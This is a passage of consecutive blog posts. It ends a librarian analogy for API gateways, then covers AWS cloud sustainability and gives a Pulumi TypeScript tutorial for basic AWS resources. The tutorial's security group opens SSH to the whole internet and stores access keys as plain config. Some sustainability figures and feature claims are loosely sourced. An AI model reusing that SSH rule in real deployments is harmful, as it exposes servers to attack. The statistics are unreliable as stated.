API Gateways are like friendly librarians who help people find books and resources. They ask everyone to show their library card before they can borrow books to keep things organized. The librarians make sure no one takes too many books at once to ensure everyone gets a fair chance. When someone asks for information, they check a special guide to ensure they get the right answers. They help people find the information they need, making sure everything is accurate and easy to understand.

In AWS you can create an API Gateway to help organize and secure access to your app's information and services. It's like having a helpful librarian who ensures that everyone can access the information they want with ease.

Conclusion: Picking the Right Tool for the Job

In the world of AWS Load Balancers, Reverse Proxies and API Gateways are essential tools to help your apps run efficiently, securely, and smoothly. Just like in real life choosing the right tool for your needs is crucial. Load Balancers distribute traffic, Reverse Proxies keep things organized and secure, and API Gateways guide people to the right information and services. By understanding these everyday comparisons, you can make informed decisions about which AWS service best suits your needs ensuring a successful and hassle-free cloud journey.

Building a Greener Cloud: The Role of an Architect for Sustainability in AWS

Ahmad Kanj — Sun, 19 Feb 2023 16:17:56 +0000

In recent years, the term 'sustainability' has become increasingly important, and for good reason. Climate change is one of the biggest threats facing our planet, and we need to take immediate action to mitigate its effects. One area where we might not expect to find an impact is in the world of technology, and specifically cloud computing. However, as it turns out, the cloud could be doing more damage to the planet than we realize.

Why this is the case?

First, we need to look at how cloud computing works. Essentially, when we use cloud-based services, we are outsourcing the processing and storage of our data to massive data centers. These data centers are run by Amazon, Microsoft, and Google, and they are some of the largest energy consumers in the world. To power these centers, they require vast amounts of electricity, much of which comes from non-renewable sources like coal and natural gas.

The result of all this energy consumption is a significant carbon footprint. In fact, according to a report by Greenpeace, the internet and technology account for around 4% of global carbon emissions, more than double the emissions produced by the airline industry. By 2030, it's expected that this figure could double again, with technology and cloud computing accounting for over 8% of all carbon emissions.

What can we do about this?

The good news is that there are a number of initiatives underway to reduce the impact of cloud computing on the environment. Many of the major cloud providers have committed to using renewable energy sources to power their data centers. For example, Google has been carbon-neutral since 2007, and plans to be powered entirely by renewable energy by 2030. Microsoft has pledged to be carbon negative by 2030, while Amazon has committed to powering its operations with 100% renewable energy by 2025.

That’s why AWS is taking steps to make their operations more sustainable. They know that in order to keep our planet healthy, we need to work together to reduce our carbon footprint and minimize our impact on the environment.

The AWS Sustainability Pillar

At re:Invent 2021, AWS announced that it’s adding a new Sustainability Pillar to the AWS Well-Architected Framework. This new pillar is designed to help developers and organizations incorporate sustainability into their cloud architecture and operations.

The Sustainability Pillar provides guidance on how to design and operate cloud workloads in a way that minimizes their impact on the environment. It covers a wide range of topics, including energy efficiency, waste reduction, and sustainable sourcing.

By incorporating the Sustainability Pillar into their architecture, developers can create cloud solutions that are not only more environmentally friendly but also more cost-effective and scalable.

Architect for Sustainability

This is where the concept of Architect for Sustainability comes in – a framework for designing cloud solutions that are environmentally responsible. Architect for Sustainability is a set of best practices for cloud architecture that prioritize sustainability in design, development, and deployment. It is a holistic approach that considers the entire lifecycle of cloud solutions, from design to end-of-life disposal.

To be sustainable on the cloud, businesses must work with cloud providers that are committed to Architect for Sustainability. This means choosing providers that have a clear sustainability strategy and have implemented best practices to reduce their environmental impact. It also means businesses must be conscious of their own carbon footprint and take steps to reduce their energy consumption and carbon emissions. Here are some key principles of Architect for Sustainability on AWS:

AWS Customer Carbon Footprint Tool

In addition to the Sustainability Pillar, AWS is also working on a customer carbon footprint tool. This tool will allow AWS customers to measure and analyze the carbon footprint of their cloud operations.

By understanding the environmental impact of their cloud operations, customers can take steps to reduce their carbon footprint and make their operations more sustainable. This will not only benefit the environment but also help customers save money on their cloud operations.

Use AWS’s carbon-free regions

AWS has carbon-free regions that use renewable energy sources to power their data centers. By the end of 2021, several AWS regions were powered by over 95% renewable energy, including:

US East (Northern Virginia)
US West (Northern California)
US East (Ohio)
US West (Oregon)
GovCloud (US-East)
GovCloud (US-West)
Canada (Central)
Europe (Ireland)
Europe (Frankfurt)
Europe (London)
Europe (Milan)
Europe (Paris)
Europe (Stockholm)

This means that using AWS in these regions can significantly reduce carbon emissions and help companies move towards their sustainability goals.

Use serverless computing

According to a study by Accenture, serverless computing can reduce carbon emissions by up to 70% compared to traditional server-based computing. This is because serverless computing platforms, such as AWS Lambda, can quickly scale up or down to match the demand for resources. As a result, businesses using AWS Lambda can reduce the number of servers they require, leading to a significant reduction in carbon emissions.

Use auto-scaling

AWS Auto-Scaling is a service that automatically adjusts the capacity of an application in response to changing demand. It monitors resource utilization and scales resources up or down as necessary. By using AWS Auto Scaling, businesses can ensure that their applications are always running at optimal performance levels, without wasting resources or energy.

Choose the most energy-efficient instance type

AWS offers a wide range of instance types to choose from, some of which are more energy-efficient than others. For example, instances that use ARM-based processors are more energy-efficient than those that use Intel processors.

Use CloudFront

One of the main ways that AWS CloudFront helps to reduce energy consumption and carbon emissions is through the use of edge locations. Edge locations are data centers that are located in different parts of the world and are designed to cache content so that it can be delivered quickly to customers in that region. By using edge locations, AWS CloudFront reduces the need for content to travel long distances, which in turn reduces the amount of energy needed to deliver that content. This helps to lower the carbon footprint of companies that use AWS CloudFront, as less energy is needed to power the delivery of their content.

Another way that AWS CloudFront helps to reduce energy consumption and carbon emissions is through the use of caching. When content is requested by a customer, AWS CloudFront checks to see if that content is already stored in an edge location. If the content is already cached in an edge location, AWS CloudFront can deliver it quickly without having to retrieve it from the original source. This reduces the amount of energy needed to retrieve and deliver the content, as well as the carbon emissions associated with that process.

Use AWS Trusted Advisor

AWS Trusted Advisor is a tool that provides recommendations to optimize AWS infrastructure and resources. It analyzes an organization's AWS environment and provides guidance on cost optimization, security, performance, and fault tolerance. One of the lesser-known features of Trusted Advisor is its ability to help reduce energy consumption and carbon emissions. It provides a list of best practices for reducing energy consumption and carbon emissions.

The Future of Sustainable Cloud

As cloud technology continues to evolve, it’s important that we prioritize sustainability and work to reduce our impact on the environment. By incorporating sustainability into our cloud operations, we can create a more sustainable future for our planet and ensure that we can continue to enjoy the things that make Earth so unique, like pizza.

AWS’s new Sustainability Pillar and customer carbon footprint tool are just two examples of how cloud providers are working to make their operations more sustainable. As more organizations prioritize sustainability in their cloud architecture, we can create a more sustainable future for our planet and ensure that we can continue to thrive on Earth for generations to come.

Provisioning Basic AWS Resources with Pulumi and TypeScript: A Step-by-Step Tutorial

Ahmad Kanj — Fri, 27 Jan 2023 15:34:14 +0000

Pulumi is a cloud-native infrastructure as code (IAC) tool that allows developers to provision, manage, and update cloud resources using familiar programming languages such as JavaScript, TypeScript, Python, and Go. It can be used to automate the deployment and management of resources on various cloud platforms, including AWS.

In this article, we will go over how to use Pulumi to provision basic AWS resources using TypeScript.

Before we begin, you will need to have an AWS account set up, and have your AWS access key and secret key handy.

Setting up and configuring Pulumi to access your AWS account:

First, install the Pulumi CLI on your machine. You can download it from the Pulumi website at:

https://www.pulumi.com/docs/get-started/install/

Run the command pulumi login to log in to your Pulumi account.

Run the command pulumi config set aws:region <region> to set the desired region for your deployment. Replace with your preferred region (e.g. eu-central-1).

Run the command pulumi config set aws:access_key <access_key> and pulumi config set aws:secret_key <secret_key> to set your AWS access and secret keys.

Creating a new Pulumi project: Run the command pulumi new aws-typescript to create a new Pulumi project using the AWS and TypeScript templates.
This will create a new directory with a basic Pulumi project structure and some starter code.

Create an S3 bucket: One of the most basic resources you can create in AWS is an S3 bucket. You can create an S3 bucket using the following TypeScript code:

import * as pulumi from "@pulumi/pulumi";
import * as aws from "@pulumi/aws";

const bucket = new aws.s3.Bucket("my-bucket");

Create an EC2 instance: Another basic resource you can create in AWS is an EC2 instance. You can create an EC2 instance using the following TypeScript code:

import * as pulumi from "@pulumi/pulumi";
import * as aws from "@pulumi/aws";

const instance = new aws.ec2.Instance("my-instance", {
  instanceType: "t2.micro",
  ami: "ami-0c94855ba95c71c99",
  vpcSecurityGroupIds: [],
  subnetId: ""
});

Create a security group: To secure your EC2 instance, you can create a security group using the following TypeScript code:

import * as pulumi from "@pulumi/pulumi";
import * as aws from "@pulumi/aws";

const securityGroup = new aws.ec2.SecurityGroup("my-security-group", {
  ingress: [
    { protocol: "tcp", fromPort: 22, toPort: 22, cidrBlocks: ["0.0.0.0/0"] }
  ]
});

Deploy the resources: After you have created your resources, you can deploy them to AWS by running the following command:

pulumi up

Destroy resources: Pulumi also allows you to update and destroy resources. You can update resources by modifying the code and running the pulumi up command again. To destroy resources, you can run the following command:

pulumi destroy

By using Pulumi with TypeScript, you can easily provision and manage basic AWS resources such as S3 buckets, EC2 instances, and security groups. Pulumi provides a simple and efficient way to manage cloud infrastructure while also allowing developers to use a familiar programming language.

In summary, Pulumi is a powerful tool that makes it easy to provision and manage resources on AWS using familiar programming languages. It is a great choice for teams looking to automate their infrastructure and make it more scalable and manageable.